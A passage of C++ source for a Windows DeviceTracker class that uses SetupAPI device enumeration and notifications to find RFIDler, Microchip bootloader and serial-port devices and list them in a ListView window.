display\n    itemId = ListView_InsertItem(mHWndListView, &lvItem);\n\n    if (itemId > -1) {\n        if (aDevType) {\n            ListView_SetItemText(mHWndListView, itemId, lvDispType, (LPWSTR)aDevType);\n        }\n        if (aState) {\n            ListView_SetItemText(mHWndListView, itemId, lvDispState, (LPWSTR)aState);\n        }\n        if (aUsbLocation) {\n            ListView_SetItemText(mHWndListView, itemId, lvDispLocus, (LPWSTR)aUsbLocation);\n        }\n        if (aSerialNumber) {\n            ListView_SetItemText(mHWndListView, itemId, lvDispSernum, (LPWSTR)aSerialNumber);\n        }\n\n        mNeedDevicesResort = TRUE;\n        return TRUE;\n    }\n\n    return FALSE;\n}\n\n\nvoid DeviceTracker::UpdateViewItemPortName(const wchar_t *aName, LPARAM lParam)\n{\n    int itemId = FindViewItem(lParam);\n\n    if (itemId > -1) {\n        ListView_SetItemText(mHWndListView, itemId, lvDispName, (LPWSTR)aName);\n        // need to re-sort View?\n        if (mSortType == lvDispName) {\n            mNeedDevicesResort = TRUE;\n        }\n    }\n}\n\n\nvoid DeviceTracker::UpdateViewItemIconAndState(enum DevImage aImage, const wchar_t *aState, LPARAM lParam)\n{\n    int itemId = FindViewItem(lParam);\n\n    if (itemId > -1) {\n        ListView_SetItemText(mHWndListView, itemId, lvDispState, (LPWSTR)aState);\n\n        // update icon\n        if (aImage >= 0) {\n            LVITEM lvItem;\n\n            ZeroMemory(&lvItem, sizeof(LVITEM));\n            lvItem.iItem = itemId;\n            lvItem.iSubItem = 0;\n            lvItem.mask |= LVIF_IMAGE;\n            lvItem.iImage = aImage;\n            ListView_SetItem(mHWndListView, &lvItem);\n        }\n\n        // need to re-sort View?\n        if (mSortType == lvDispState) {\n            mNeedDevicesResort = TRUE;\n        }\n    }\n}\n\n\nvoid DeviceTracker::UpdateViewItemIconAndType(enum DevImage aImage, const wchar_t *aType, LPARAM lParam)\n{\n    int itemId = FindViewItem(lParam);\n\n    if (itemId > -1) {\n        ListView_SetItemText(mHWndListView, itemId, lvDispType, (LPWSTR)aType);\n\n        // update icon\n        if (aImage >= 0) {\n            LVITEM lvItem;\n\n            ZeroMemory(&lvItem, sizeof(LVITEM));\n            lvItem.iItem = itemId;\n            lvItem.iSubItem = 0;\n            lvItem.mask |= LVIF_IMAGE;\n            lvItem.iImage = aImage;\n            ListView_SetItem(mHWndListView, &lvItem);\n        }\n\n        // need to re-sort View?\n        if (mSortType == lvDispType) {\n            mNeedDevicesResort = TRUE;\n        }\n    }\n}\n\n\nvoid DeviceTracker::UpdateViewItemState(const wchar_t *aState, LPARAM lParam)\n{\n    int itemId = FindViewItem(lParam);\n\n    if (itemId > -1) {\n        ListView_SetItemText(mHWndListView, itemId, lvDispState, (LPWSTR)aState);\n        // need to re-sort View?\n        if (mSortType == lvDispState) {\n            mNeedDevicesResort = TRUE;\n        }\n    }\n}\n\n\nvoid DeviceTracker::UpdateViewItemLocation(const wchar_t *aUsbLocation, LPARAM lParam)\n{\n    int itemId = FindViewItem(lParam);\n\n    if (itemId > -1) {\n        ListView_SetItemText(mHWndListView, itemId, lvDispLocus, (LPWSTR)aUsbLocation);\n        // need to re-sort View?\n        if (mSortType == lvDispLocus) {\n            mNeedDevicesResort = TRUE;\n        }\n    }\n}\n\n\nvoid DeviceTracker::UpdateViewItemSerialNumber(const wchar_t *aSerialNumber, LPARAM lParam)\n{\n    int itemId = FindViewItem(lParam);\n\n    if (itemId > -1) {\n        ListView_SetItemText(mHWndListView, itemId, lvDispSernum, (LPWSTR)aSerialNumber);\n        // need to re-sort View?\n        if (mSortType == lvDispSernum) {\n            mNeedDevicesResort = TRUE;\n        }\n    }\n}\n\n\nvoid DeviceTracker::RegisterForDevNotifications()\n{\n    DEV_BROADCAST_DEVICEINTERFACE dbc;\n\n    ZeroMemory(&dbc, sizeof(DEV_BROADCAST_DEVICEINTERFACE));\n    dbc.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE);\n\n    // use DBT_DEVTYP_HANDLE if you have an open handle & want to watch device removal\n    dbc.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;\n    // set dbc.dbcc_classguid if only interested in 1 device type\n\n    if (!mHNotifyHid) {\n        dbc.dbcc_classguid = GUID_DEVCLASS_HIDCLASS;\n        mHNotifyHid = RegisterDeviceNotification(mHWndMain, &dbc, DEVICE_NOTIFY_WINDOW_HANDLE);\n    }\n\n    if (!mHNotifySerial) {\n        dbc.dbcc_classguid = GUID_DEVCLASS_PORTS;\n        mHNotifySerial = RegisterDeviceNotification(mHWndMain, &dbc, DEVICE_NOTIFY_WINDOW_HANDLE);\n    }\n}\n\n\nvoid DeviceTracker::UnregisterForDevNotifications()\n{\n    if (mHNotifyHid) {\n        UnregisterDeviceNotification(mHNotifyHid);\n        mHNotifyHid = 0;\n    }\n    if (mHNotifySerial) {\n        UnregisterDeviceNotification(mHNotifySerial);\n        mHNotifySerial = 0;\n    }\n}\n\n\n/*\n    DBT_DEVNODES_CHANGED => device tree changes, set timer for a rescan.\n\n    DBT_DEVICEARRIVAL || DBT_DEVICEREMOVECOMPLETE => Device arrival / removal\n    We currently only pay attention if accompanied by a DBT_DEVTYP_DEVICEINTERFACE\n    structure, and check for HID and whether it is Mictochip Bootloader.\n\n    In theory we could be interested in a DBT_DEVTYP_PORT structure, referring to\n    a COM port ...\n            \n    However we don't process this for now, as we have never seen usbser.sys\n    generate these, and the 'friendly name' given in the notification is anway\n    hard to test if it is a specific RFIDler / Microchip USB port.\n\n    With a DBT_DEVTYP_DEVICEINTERFACE a typical dbcc_name =\n    \"\\\\?\\USB#VID_04D8&PID_003C#6&33d1b76f&0&1#{a5dcbf10-6530-11d2-901f-00c04fb951ed}\"\n    or \"\\\\?\\HID#VID_04D8&PID_003C#7&f4c61c5&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030}\"\n        \"\\\\?\\USB#VID_04D8&PID_003C\" -> HardwareId \"USB\\VID_04D8&PID_003C\"\n        #                    separator\n        \"6&33d1b76f&0&1\"     Windows generated serial number\n        #\n        \"{a5dcbf10-6530-11d2-901f-00c04fb951ed}\" -> GUID_DEVINTERFACE_USB_DEVICE\n */\nvoid DeviceTracker::OnDeviceChange(UINT uiType, LPARAM lParam)\n{\n    BOOL interesting = FALSE;\n\n    if (uiType == DBT_DEVNODES_CHANGED) {\n        // set timer to rescan device tree for changes\n        interesting = TRUE;\n    } else {\n        if (uiType == DBT_DEVICEARRIVAL || uiType == DBT_DEVICEREMOVECOMPLETE) {\n            DEV_BROADCAST_HDR *dbh = (DEV_BROADCAST_HDR*) lParam;\n\n#ifdef _DEBUG\n            PrintDebugStatus(_T(\"DevChange %s, Device Type %i\\n\"), \n                uiType == DBT_DEVICEARRIVAL ? _T(\"DBT_DEVICEARRIVAL\") : _T(\"DBT_DEVICEREMOVECOMPLETE\"),\n                dbh->dbch_devicetype);\n#endif\n\n            if (dbh->dbch_devicetype == DBT_DEVTYP_PORT) {\n                interesting = TRUE;\n            } else if (dbh->dbch_devicetype == DBT_DEVTYP_DEVICEINTERFACE) {\n                DEV_BROADCAST_DEVICEINTERFACE *dbdi = (DEV_BROADCAST_DEVICEINTERFACE*) dbh;\n\n                // check if notification is for a device we are interested in\n                if (IsEqualGUID(dbdi->dbcc_classguid, GUID_DEVCLASS_HIDCLASS)) {\n                    interesting = TRUE;\n                } else if (IsEqualGUID(dbdi->dbcc_classguid, GUID_DEVCLASS_PORTS)) {\n                    interesting = TRUE;\n                }\n            }\n        }\n    }\n\n    // set timer to rescan device tree for changes\n    if (interesting) {\n        KickDevScanTimer();\n    }\n}\n\n\n// put device icons in image list\nHIMAGELIST DeviceTracker::InitImageList(int cx, int cy, unsigned count, const int *iconlist)\n{\n    HIMAGELIST iList = ImageList_Create(cx, cy, ILC_MASK, count, count);\n\n    if (iList) {\n        unsigned i;\n        BOOL fail = FALSE;\n\n        for (i = 0; (i < count) && !fail; i++) {\n            HICON hi = (HICON) LoadImage(mHInst, MAKEINTRESOURCE(iconlist[i]),\n                IMAGE_ICON, cx, cy, LR_DEFAULTCOLOR);\n            if (hi) {\n                if (-1 == ImageList_AddIcon(iList, hi)) {\n                    fail = TRUE;\n                }\n                DestroyIcon(hi);\n            } else {\n                fail = TRUE;\n            }\n        }\n        if (fail) {\n            ImageList_Destroy(iList);\n            iList = NULL;\n        }\n    }\n\n    return iList;\n}\n\n\nvoid DeviceTracker::InitListColumns(const wchar_t **columns, const int *widths, unsigned count)\n{\n    LVCOLUMN lvcol;\n    unsigned i;\n\n    lvcol.mask = LVCF_FMT | LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH;\n    lvcol.fmt = LVCFMT_LEFT;\n    for (i = 0; i < count; i++) {\n        lvcol.pszText = (LPWSTR) columns[i];\n        lvcol.cx = widths[i];\n        lvcol.iSubItem = i;\n        ListView_InsertColumn(mHWndListView, i, &lvcol);\n    }\n}\n\n\nvoid DeviceTracker::Initialize(HWND HWndMain, HWND HWndListView, HWND HWndStatusBar, HINSTANCE HInst)\n{\n    // icons for device view\n    const int iconList[] = { IDI_RFIDOKAY, IDI_RFIDBAD, IDI_RFIDREMOVE,\n            IDI_RFIDBOOT, IDI_DEVBOARD, IDI_DEVBOARDREMOVE, IDI_DEVBOARDBAD,\n            IDI_OTHERSERIALOK, IDI_OTHERSERIALREMOVE };\n    // column headings for view\n    const wchar_t *columns[] = { _T(\"Name\"), _T(\"Device\"), _T(\"State\"), _T(\"Location\"),\n            _T(\"Serial number\") };\n    // TODO? use these as defaults, but persist & restore col widths\n    const int    colwidth[] = { 100, 70, 100, 100, 122 };\n\n    mHWndMain = HWndMain;\n    mHWndListView = HWndListView;\n    mHWndStatusBar = HWndStatusBar;\n    mHInst = HInst;\n    mOptions.SetHwndMain(HWndMain);\n\n    // read any saved options from registry\n    mOptions.ReadRegistryValues();\n\n#if defined(USE_SETUP_DEVICE_API_ADAPTATION)\n    /* SetupDiGetDeviceProperty() api is new in Windows Vista\n       There are a lot of Win XP systems around still, so don't unnecessarily\n       be incompatible with them.\n    */\n    {\n        HMODULE hModule = GetModuleHandle(TEXT(\"setupapi.dll\"));\n        if (hModule) {\n            mSetupDiGetDevicePropertyW = (LPFNSetupDiGetDevicePropertyW)\n                GetProcAddress(hModule, \"SetupDiGetDevicePropertyW\");\n        }\n    }\n#endif\n\n    // enable tooltips, in all display views, also full row select\n    ListView_SetExtendedListViewStyle(mHWndListView, LVS_EX_INFOTIP  | LVS_EX_LABELTIP | LVS_EX_FULLROWSELECT);\n\n    RegisterForDevNotifications();\n\n    // create image lists\n    mImageList = InitImageList(32, 32, ARRAYSIZE(iconList), iconList);\n    if (mImageList) {\n        ListView_SetImageList(mHWndListView, mImageList, LVSIL_NORMAL);\n    }\n    mImageListSm = InitImageList(16, 16, ARRAYSIZE(iconList), iconList);\n    if (mImageListSm) {\n        ListView_SetImageList(mHWndListView, mImageListSm, LVSIL_SMALL);\n    }\n\n\n    SIZE size = { 120, 70 };\n    LVTILEVIEWINFO tileViewInfo = {0};\n\n    tileViewInfo.cbSize   = sizeof(tileViewInfo);\n    tileViewInfo.dwFlags  = LVTVIF_FIXEDSIZE;\n    tileViewInfo.dwMask   = LVTVIM_COLUMNS | LVTVIM_TILESIZE;\n    tileViewInfo.cLines   = 2;\n    tileViewInfo.sizeTile = size;\n\n    ListView_SetTileViewInfo(mHWndListView, &tileViewInfo);\n\n    // setup display: list view header\n    assert(ARRAYSIZE(columns) == ARRAYSIZE(colwidth));\n\n    InitListColumns(columns, colwidth, ARRAYSIZE(columns));\n\n    int restoredStyle = mOptions.GetViewStyleButton();\n    SetViewStyle(restoredStyle);\n    // initial menu check mark\n    HMENU hMenu = GetMenu(mHWndMain);\n    CheckMenuItem(hMenu, restoredStyle, MF_CHECKED);\n\n    // init ListView sort order from saved values\n    SetViewSortOrder(mOptions.GetSortOrder());\n\n    HWND hWndHdr = ListView_GetHeader(mHWndListView);\n    if (hWndHdr) {\n        int sortColumn = mSortType;\n        BOOL reverse = false;\n        HDITEM hdrItem;\n        hdrItem.mask = HDI_FORMAT;\n\n        if (sortColumn >= lvRevDispName) {\n            sortColumn -= lvRevDispName;\n            reverse = true;\n        }\n\n        if (Header_GetItem(hWndHdr, sortColumn, &hdrItem)) {\n            hdrItem.fmt |= reverse ? HDF_SORTDOWN : HDF_SORTUP;\n            Header_SetItem(hWndHdr, sortColumn, &hdrItem);\n        }\n    }\n\n    // kick timer to do initial device scan\n    KickDevScanTimer();\n\n    StatusBarRefresh();\n}\n\n\n// Windows should cleanup resources on exit, but it is good practice to do our own.\nvoid DeviceTracker::Cleanup()\n{\n    CancelArrivalTimer();\n    CancelDevScanTimer();\n    mOptions.CancelRegSaveTimer();\n\n    if (mImageList) {\n        ImageList_Destroy(mImageList);\n    }\n    if (mImageListSm) {\n        ImageList_Destroy(mImageListSm);\n    }\n\n    // free our device list (an object is orphaned if somehow locked for Context Menu tracking at this point)\n    while (mListDevices) {\n        mListDevices = mListDevices->DeleteDevice(TRUE);\n    }\n\n    UnregisterForDevNotifications();\n}\n\n\n// return TRUE if any devices are in Arrived or Removed states\nvoid DeviceTracker::ScanRfidlerDevices()\n{\n    // use timer as a one-shot\n    CancelDevScanTimer();\n\n    // update scanned device lists\n    ScanForDevChanges();\n    mInitialiseRfidler = FALSE;\n    mInitialiseUnconfig = FALSE;\n    mInitialiseMicroSer = FALSE;\n    mInitialiseAnySerial = FALSE;\n\n    // if there any devices in Arrived or Removed state ensure disp refresh timer is running\n    if (mListDevices) {\n        if (!mDevicesInArrivalState) {\n            for (DeviceInfo *devList = mListDevices; devList; devList = devList->DeviceNext()) {\n                enum DevState dState = devList->DeviceState();\n\n                if ((dState == DevRemoved) || (dState == DevArrived)) {\n                    mDevicesInArrivalState = TRUE;\n                    break;\n                }\n            }\n        }\n\n        if (mDevicesInArrivalState) {\n            KickArrivalTimer();\n        }\n\n        // re-sort ListView if necessary\n        if (mNeedDevicesResort) {\n            mNeedDevicesResort = FALSE;\n            ListView_SortItems(mHWndListView, DeviceInfo::CompareProc,\n                    mSortType);\n        }\n    }\n}\n\n\nvoid DeviceTracker::ScanForDevChanges()\n{\n    // unique id for each scan, to allow old entries to be identified\n    static unsigned scanId = 31415926;  // arbitrary initial value\n    SYSTEMTIME st;\n    FILETIME   ft;\n\n    GetSystemTime(&st);              // current system time (UTC)\n    SystemTimeToFileTime(&st, &ft);  // file time format\n\n    if (mOptions.ShowNonConfig()) {\n        // have to scan all devices in order to check for unconfigured\n        ScanIncludingUnconfigDevs(ft, scanId);\n    } else {\n        // check for device types we are specifically interested in\n        ScanHidDevices(ft, scanId);\n        ScanSerialDevices(ft, scanId);\n    }\n\n    CleanupOrphanedDevices(ft, scanId);\n\n    UpdateStatusBarAndWinFlashNotifications();\n    scanId++;\n}\n\n\nBOOL DeviceTracker::GetDeviceGUID(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, GUID &DevGuid,\n    CONST DEVPROPKEY PropKey, DWORD Property)\n{\n    DWORD size;\n    BOOL result;\n\n#if defined(USE_SETUP_DEVICE_API_ADAPTATION)\n    if (mSetupDiGetDevicePropertyW) {\n        DEVPROPTYPE PropType;\n        result = mSetupDiGetDevicePropertyW(DeviceInfoSet,\n                                        &DeviceInfoData,\n                                        &PropKey,\n                                        &PropType,\n                                        (PBYTE)&DevGuid,\n                                        sizeof(GUID),\n                                        &size,\n                                        0)\n                    && (PropType == DEVPROP_TYPE_GUID);\n    } else {\n#elif defined(USE_SETUP_DEVICE_REGISTRY)\n    {\n#endif\n        // use Windows XP api, note gets GUID in REG_SZ form\n        DWORD type;\n        wchar_t guidStringBuffer[40];\n\n        result = SetupDiGetDeviceRegistryProperty(DeviceInfoSet, &DeviceInfoData, Property,\n            &type, (PBYTE) guidStringBuffer, sizeof(guidStringBuffer), &size) && (type == REG_SZ);\n        // convert guid string to GUID (Unicode build only)\n        if (result && (S_OK != IIDFromString(guidStringBuffer, &DevGuid))) {\n            result = FALSE;\n        }\n    }\n\n    return result;\n}\n\n\nBOOL DeviceTracker::GetDeviceClassGUID(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, GUID &DevGuid)\n{\n    return GetDeviceGUID(DeviceInfoSet, DeviceInfoData, DevGuid, DEVPKEY_Device_ClassGuid, SPDRP_CLASSGUID);\n}\n\n\nBOOL DeviceTracker::GetDeviceBusTypeGUID(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, GUID &BusGuid)\n{\n    return GetDeviceGUID(DeviceInfoSet, DeviceInfoData, BusGuid, DEVPKEY_Device_BusTypeGuid, SPDRP_BUSTYPEGUID);\n}\n\n\n// NB returned string on success is a static buffer. Volatile if not copied.\nBOOL DeviceTracker::GetDeviceInstanceId(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, wchar_t **DevInstance, DWORD *pSize)\n{\n    static wchar_t szDevInstanceId[MAX_DEVICE_ID_LEN];\n\n    // Typical DevInstanceID = \"USB\\VID_04D8&PID_000A\\6&33D1B76F&0&2\"\n    if (SetupDiGetDeviceInstanceId(DeviceInfoSet, &DeviceInfoData, szDevInstanceId, MAX_DEVICE_ID_LEN, pSize)) {\n        *DevInstance = (wchar_t*) &szDevInstanceId;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n\nBOOL DeviceTracker::CheckDeviceId(const wchar_t *aHwId, DWORD size, const wchar_t *aRefHwId)\n{\n    DWORD len = _tcslen(aRefHwId);\n\n    if (size >= len) {\n        return 0 == wcsncmp(aHwId, aRefHwId, len);\n    }\n    return FALSE;\n}\n\n\n/* probe serial device, see if we are interested\n   aNormalPort -> GUID_DEVCLASS_PORTS\n*/\nvoid DeviceTracker::CheckSerialDevice(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData,\n    SerialPortType aPortType, FILETIME &aNow, unsigned aScanId)\n{\n    DWORD size = 0;\n    wchar_t *devInstanceId = NULL;\n\n    // devInstanceId is set to persistent static buffer\n    if (GetDeviceInstanceId(DeviceInfoSet, DeviceInfoData, &devInstanceId, &size)) {\n        // set default non-match result\n        enum DevType dType = mOptions.ShowAnySerial() ? DevOtherSerial : DevUnknown;\n\n        // examine serial device\n        if (aPortType == SerialPort) {\n            if (CheckDeviceId(devInstanceId, size, szRfidlerHwUsbId)) {\n                dType = DevRfidlerCom;\n            } else if (mOptions.ShowDevBoardsOrAnySerial() && CheckDeviceId(devInstanceId, size, szMicrochipSerialHwUsbId)) {\n                dType = DevMicroDevBoard;\n            }\n        }\n\n        // note separation of COM or LPT ports occurs in AddOrUpdateDevice()\n        if (dType != DevUnknown) {\n            // Get (RFIDler / Microchip / other) USB Serial device details\n            AddOrUpdateDevice(dType, DeviceInfoSet, DeviceInfoData, devInstanceId, size, \n                aPortType, aNow, aScanId);\n        }\n    }\n}\n\n\nvoid DeviceTracker::CheckHidDevice(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, FILETIME &aNow, unsigned aScanId)\n{\n    DWORD size = 0;\n    wchar_t *devInstanceId = NULL;\n\n    if (GetDeviceInstanceId(DeviceInfoSet, DeviceInfoData, &devInstanceId, &size)) {\n        if (CheckDeviceId(devInstanceId, size, szMicrochipBootHidId)) {\n            // found HID Bootloader, process details\n            AddOrUpdateDevice(DevMicroBootloader, DeviceInfoSet, DeviceInfoData, devInstanceId, size, SerialNone, aNow, aScanId);\n        }\n    }\n}\n\n\n// if serial device does not yet have driver configured it has no class set\nvoid DeviceTracker::CheckClassNoneDevice(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, FILETIME &aNow, unsigned aScanId)\n{\n    DWORD size = 0;\n    wchar_t *devInstanceId = NULL;\n\n    if (GetDeviceInstanceId(DeviceInfoSet, DeviceInfoData, &devInstanceId, &size)) {\n        enum DevType dType = DevUnknown;\n\n        // check USB hardware id for unconfigured RFIDler, Microchip devboard\n        if (CheckDeviceId(devInstanceId, size, szRfidlerHwUsbId)) {\n            // Get RFIDler dev details\n            dType = DevUnconfigRfidlerCom;\n        } else if (mOptions.ShowDevBoardsOrAnySerial() &&\n                CheckDeviceId(devInstanceId, size, szMicrochipSerialHwUsbId)) {\n            // Get Microchip USB Serial device details\n            dType = DevUnconfigMicroDevBoard;\n        }\n\n        if (dType != DevUnknown) {\n            // Get RFIDler or Get Microchip USB Serial device details\n            AddOrUpdateDevice(dType, DeviceInfoSet, DeviceInfoData, devInstanceId, size, SerialPort, aNow, aScanId);\n        }\n    }\n}\n\n\nvoid DeviceTracker::ScanIncludingUnconfigDevs(FILETIME &aNow, unsigned aScanId)\n{\n    HDEVINFO DeviceInfoSet;\n    SP_DEVINFO_DATA DeviceInfoData;\n    GUID DevGuid;\n    DWORD flags = DIGCF_ALLCLASSES;\n    DWORD DeviceIndex = 0;\n\n    if (!mOptions.ShowNotPresent()) {\n        flags |= DIGCF_PRESENT;\n    }\n    DeviceInfoSet = SetupDiGetClassDevs(NULL, NULL, NULL, flags);\n\n    if (DeviceInfoSet == INVALID_HANDLE_VALUE) {\n        return;\n    }\n\n    ZeroMemory(&DeviceInfoData, sizeof(SP_DEVINFO_DATA));\n    DeviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);\n\n    while (SetupDiEnumDeviceInfo(DeviceInfoSet, DeviceIndex, &DeviceInfoData)) {\n        BOOL gotClassGuid = GetDeviceClassGUID(DeviceInfoSet, DeviceInfoData, DevGuid);\n\n        DeviceIndex++;\n        \n        if (gotClassGuid) {\n            if (IsEqualGUID(DevGuid, GUID_DEVCLASS_PORTS)) {\n                // examine serial device\n                CheckSerialDevice(DeviceInfoSet, DeviceInfoData, SerialPort, aNow, aScanId);\n            } else if (IsEqualGUID(DevGuid, GUID_DEVCLASS_HIDCLASS)) {\n                CheckHidDevice(DeviceInfoSet, DeviceInfoData, aNow, aScanId);\n            } else if (mOptions.ShowAnySerial()) {\n                if (IsEqualGUID(DevGuid, GUID_DEVCLASS_MODEM)) {\n                    CheckSerialDevice(DeviceInfoSet, DeviceInfoData, SerialModem, aNow, aScanId);\n                } else if (IsEqualGUID(DevGuid, GUID_DEVCLASS_MULTIPORTSERIAL)) {\n                    CheckSerialDevice(DeviceInfoSet, DeviceInfoData, SerialMultiport, aNow, aScanId);\n                }\n            }\n        } else {\n            // This device has an unknown device setup class.\n            DWORD Error = GetLastError();\n\n            if ((Error == ERROR_NOT_FOUND) || (Error == ERROR_INVALID_DATA)) {\n                CheckClassNoneDevice(DeviceInfoSet, DeviceInfoData, aNow, aScanId);\n            }\n        }                 \n    } // while\n\n    SetupDiDestroyDeviceInfoList(DeviceInfoSet);\n}\n\n\nvoid DeviceTracker::ScanHidDevices(FILETIME &aNow, unsigned aScanId)\n{\n    HDEVINFO DeviceInfoSet;\n    SP_DEVINFO_DATA DeviceInfoData;\n    DWORD flags;\n    DWORD DeviceIndex = 0;\n    const GUID *guid = &GUID_DEVCLASS_HIDCLASS;\n\n    if (mOptions.ShowNotPresent()) {\n        flags = 0;\n    } else {\n        flags = DIGCF_PRESENT;\n    }\n    DeviceInfoSet = SetupDiGetClassDevs(guid, NULL, NULL, flags);\n\n    if (DeviceInfoSet != INVALID_HANDLE_VALUE) {\n        ZeroMemory(&DeviceInfoData, sizeof(SP_DEVINFO_DATA));\n        DeviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);\n\n        while (SetupDiEnumDeviceInfo(DeviceInfoSet, DeviceIndex, &DeviceInfoData)) {\n            DeviceIndex++;\n        \n            CheckHidDevice(DeviceInfoSet, DeviceInfoData, aNow, aScanId);\n        } // while\n\n        SetupDiDestroyDeviceInfoList(DeviceInfoSet);\n    }\n}\n\n\nvoid DeviceTracker::ScanSerialDevices(FILETIME &aNow, unsigned aScanId)\n{\n    HDEVINFO DeviceInfoSet;\n    SP_DEVINFO_DATA DeviceInfoData;\n    DWORD flags;\n    DWORD DeviceIndex = 0;\n    int i;\n\n    /* RFIDler & Microchip DevBoard COM ports are in GUID_DEVCLASS_PORTS,\n       'Show Any Serial' needs to include Modems & Multiport Serial devices\n    */\n    const GUID *serialGuid[] = { &GUID_DEVCLASS_PORTS, &GUID_DEVCLASS_MODEM, &GUID_DEVCLASS_MULTIPORTSERIAL };\n    const SerialPortType portTypes[] = { SerialPort, SerialModem, SerialMultiport };\n    int maxGuid = mOptions.ShowAnySerial() ? ARRAYSIZE(serialGuid) : 1;\n\n    if (mOptions.ShowNotPresent()) {\n        flags = 0;\n    } else {\n        flags = DIGCF_PRESENT;\n    }\n\n    for (i = 0; i < maxGuid; i++) {\n        DeviceInfoSet = SetupDiGetClassDevs(serialGuid[i], NULL, NULL, flags);\n\n        if (DeviceInfoSet != INVALID_HANDLE_VALUE) {\n            ZeroMemory(&DeviceInfoData, sizeof(SP_DEVINFO_DATA));\n            DeviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);\n\n            while (SetupDiEnumDeviceInfo(DeviceInfoSet, DeviceIndex, &DeviceInfoData)) {\n                DeviceIndex++;\n        \n                CheckSerialDevice(DeviceInfoSet, DeviceInfoData, portTypes[i], aNow, aScanId);\n            } // while\n\n            SetupDiDestroyDeviceInfoList(DeviceInfoSet);\n        }\n    }\n}\n\n\n// returns DevPresent or DevAbsent, optionally returns PDO path too\nenum DevState DeviceTracker::GetDevPresentStatus(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData)\n{\n    static  wchar_t pdoNameBuffer[1024];\n    BOOL result;\n    DWORD size;\n\n#if defined(USE_SETUP_DEVICE_API_ADAPTATION)\n    if (mSetupDiGetDevicePropertyW) {\n        DEVPROPTYPE PropType;\n        result = mSetupDiGetDevicePropertyW(DeviceInfoSet,\n                                        &DeviceInfoData,\n                                        &DEVPKEY_Device_PDOName,\n                                        &PropType,\n                                        (PBYTE)&pdoNameBuffer,\n                                        sizeof(pdoNameBuffer),\n                                        &size,\n                                        0)\n                    && (PropType == DEVPROP_TYPE_STRING);\n    } else {\n#elif defined(USE_SETUP_DEVICE_REGISTRY)\n    {\n#endif\n        DWORD type;\n        result = SetupDiGetDeviceRegistryProperty(DeviceInfoSet, &DeviceInfoData, SPDRP_PHYSICAL_DEVICE_OBJECT_NAME,\n            &type, (PBYTE) &pdoNameBuffer, sizeof(pdoNameBuffer), &size)\n            && (type == REG_SZ);\n    }\n\n    return result ? DevPresent : DevAbsent;\n}\n\n\nvoid DeviceTracker::UnpackUSBLocation(DeviceLocation& location, wchar_t* devLocationString)\n{\n    // typical string = \"Port_#0001.Hub_#0006\"\n    wchar_t  *str = NULL;\n    unsigned offset = 0;\n\n    if (wcs_consumeprefix(devLocationString, L\"Port_#\", &offset)) {\n        location.devUsbPort = wcstoul(devLocationString + offset, &str, 10);\n        if ((errno == 0) && wcs_consumeprefix(str, L\".Hub_#\", &offset)) {\n            location.devUsbHub = wcstoul(str + offset, &str, 10);\n            if (errno == 0) {\n                location.devBusType = BusUSB; // success\n            }\n        }\n    }\n}\n\n\nDeviceLocation DeviceTracker::GetUSBDeviceLocation(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData)\n{\n    static wchar_t  devLocationBuffer[1024];\n    DWORD size;\n    BOOL result;\n    DeviceLocation  location;\n\n#if defined(USE_SETUP_DEVICE_API_ADAPTATION)\n    if (mSetupDiGetDevicePropertyW) {\n        DEVPROPTYPE PropType;\n        result = mSetupDiGetDevicePropertyW(DeviceInfoSet,\n                                        &DeviceInfoData,\n                                        &DEVPKEY_Device_LocationInfo,\n                                        &PropType,\n                                        (PBYTE)&devLocationBuffer,\n                                        sizeof(devLocationBuffer),\n                                        &size,\n                                        0)\n                    && (PropType == DEVPROP_TYPE_STRING);\n    } else {\n#elif defined(USE_SETUP_DEVICE_REGISTRY)\n    {\n#endif\n        DWORD type;\n        result = SetupDiGetDeviceRegistryProperty(DeviceInfoSet, &DeviceInfoData, SPDRP_LOCATION_INFORMATION,\n            &type, (PBYTE) &devLocationBuffer, sizeof(devLocationBuffer) - 1, &size)\n            && (type == REG_SZ);\n    }\n\n    if (result) {\n        devLocationBuffer[size/sizeof(wchar_t)] = 0; // safety, should already be 0 terminated\n        UnpackUSBLocation(location, devLocationBuffer);\n    }\n\n    return location;\n}\n\n\nDeviceLocation DeviceTracker::GetDeviceLocationFromBusGUID(GUID &BusGUID)\n{\n    DeviceLocation location;\n\n    /* \n        GUID_BUS_TYPE_USB shouldn't reach here.\n        Otherwise, we don't handle these bus types:\n        GUID_BUS_TYPE_INTERNAL\n        GUID_BUS_TYPE_LPTENUM\n        GUID_BUS_TYPE_USBPRINT\n        GUID_BUS_TYPE_DOT4PRT\n        GUID_BUS_TYPE_SERENUM\n        GUID_BUS_TYPE_HID\n        GUID_BUS_TYPE_AVC\n        GUID_BUS_TYPE_IRDA\n        */\n\n    // check plausible(?) bus types for a serial port\n    if (IsEqualGUID(BusGUID, GUID_BUS_TYPE_PCMCIA)) {\n        location.devBusType = BusPCMCIA;\n    } else if (IsEqualGUID(BusGUID, GUID_BUS_TYPE_PCI)) {\n        location.devBusType = BusPCI;\n    } else if (IsEqualGUID(BusGUID, GUID_BUS_TYPE_ISAPNP)) {\n        location.devBusType = BusISAPNP;\n    } else if (IsEqualGUID(BusGUID, GUID_BUS_TYPE_EISA)) {\n        location.devBusType = BusEISA;\n    } else if (IsEqualGUID(BusGUID, GUID_BUS_TYPE_MCA)) {\n        location.devBusType = BusMCA;\n    } else if (IsEqualGUID(BusGUID, GUID_BUS_TYPE_1394)) {\n        location.devBusType = BusFirewire;\n    } else if (IsEqualGUID(BusGUID, GUID_BUS_TYPE_SD)) {\n        location.devBusType = BusSD;\n    }\n\n    return location;\n}\n\n\n// HID or 